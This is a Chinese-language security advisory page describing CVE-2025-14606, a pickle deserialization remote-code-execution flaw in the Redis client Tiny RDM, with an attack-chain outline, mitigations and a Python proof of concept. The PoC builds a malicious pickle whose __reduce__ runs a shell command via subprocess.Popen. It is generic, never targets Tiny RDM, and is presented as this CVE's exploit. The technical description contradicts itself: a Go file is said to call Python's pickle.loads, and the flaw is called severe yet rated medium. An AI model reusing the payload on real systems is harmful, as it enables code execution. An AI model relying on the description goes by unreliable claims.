IPBUF安全漏洞报告
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CVE-2025-14606 CVSS 5.0 中危

CVE-2025-14606 Tiny RDM pickle反序列化远程代码执行漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14606
漏洞类型
反序列化漏洞
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tiny RDM

相关标签

反序列化漏洞远程代码执行pickle反序列化Tiny RDMCVE-2025-14606Redis管理工具Go语言漏洞Python pickle

漏洞概述

CVE-2025-14606是影响Tiny RDM(一个轻量级的Redis桌面管理客户端)up to 1.2.5版本的严重安全漏洞。该漏洞存在于pickle_convert.go文件中的Pickle Decoding组件,具体问题出在pickle.loads函数的反序列化操作上。攻击者可以通过构造恶意的pickle序列化数据,在反序列化过程中触发远程代码执行。由于攻击复杂度较高且需要特定条件,但漏洞已被公开披露并可能已被利用,因此建议用户尽快采取防护措施。Tiny RDM作为一款流行的Redis管理工具,在开发和运维环境中广泛使用,该漏洞可能影响大量终端用户的安全。

技术细节

该漏洞根源在于Tiny RDM在处理Redis数据时使用了Python的pickle模块进行反序列化操作。pickle是Python中用于对象序列化和反序列化的模块,但其loads()函数在反序列化时存在严重安全隐患。攻击者可以精心构造一个恶意的pickle数据流,当Tiny RDM使用pickle.loads()函数加载这个数据时,会触发任意代码执行。具体来说,攻击者可以在pickle数据中嵌入__reduce__()方法,该方法会在反序列化过程中被自动调用,从而执行攻击者预设的恶意代码。攻击者通过向受影响的Tiny RDM实例发送包含恶意pickle数据的请求,即可实现远程代码执行,控制目标系统。由于pickle反序列化发生在组件的数据处理流程中,且项目方在收到问题报告后未及时响应,导致漏洞长期存在。

攻击链分析

STEP 1
步骤1
攻击者识别目标环境,确认目标运行Tiny RDM版本 <= 1.2.5
STEP 2
步骤2
攻击者构造包含恶意__reduce__()方法的Python对象,利用pickle序列化特性注入payload
STEP 3
步骤3
攻击者将恶意pickle数据通过Tiny RDM的Redis连接或数据处理接口注入到目标系统
STEP 4
步骤4
Tiny RDM的pickle_convert.go组件调用pickle.loads()函数反序列化攻击者提供的数据
STEP 5
步骤5
反序列化过程中,恶意对象的__reduce__()方法被自动调用,触发任意代码执行
STEP 6
步骤6
攻击者成功在目标系统上执行任意命令,获得系统控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import base64 import subprocess class Exploit: def __reduce__(self): # Replace with your actual command to execute cmd = 'whoami' # Example: just get current user return (subprocess.Popen, (cmd.split(),)) def generate_malicious_pickle(): """ Generate malicious pickle payload for CVE-2025-14606 This PoC demonstrates how attacker can achieve RCE through pickle deserialization """ exploit = Exploit() # Serialize the malicious object malicious_data = pickle.dumps(exploit) # Encode to base64 for easier transmission encoded_payload = base64.b64encode(malicious_data).decode('utf-8') print(f"Malicious pickle payload (base64):\n{encoded_payload}") print(f"\nRaw payload length: {len(malicious_data)} bytes") return malicious_data def test_exploit(): """ Test the exploit locally (for educational purposes only) """ payload = generate_malicious_pickle() # This is what vulnerable code would do - unpickle the malicious data # DO NOT run this on untrusted data in production! try: # Simulating vulnerable pickle.loads() call print("\n[!] Simulating vulnerable pickle.loads() call...") obj = pickle.loads(payload) print(f"[+] Object deserialized: {obj}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_exploit()

影响范围

Tiny RDM <= 1.2.5

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 限制Tiny RDM的网络访问,仅允许受信任的IP访问;2) 监控应用程序日志,关注异常的pickle反序列化行为;3) 使用网络隔离技术,将Tiny RDM部署在隔离的网络环境中;4) 考虑使用替代的Redis管理工具;5) 实施最小权限原则,确保应用程序运行在受限权限下;6) 部署Web应用防火墙或入侵检测系统来监控和阻止恶意请求。

参考链接

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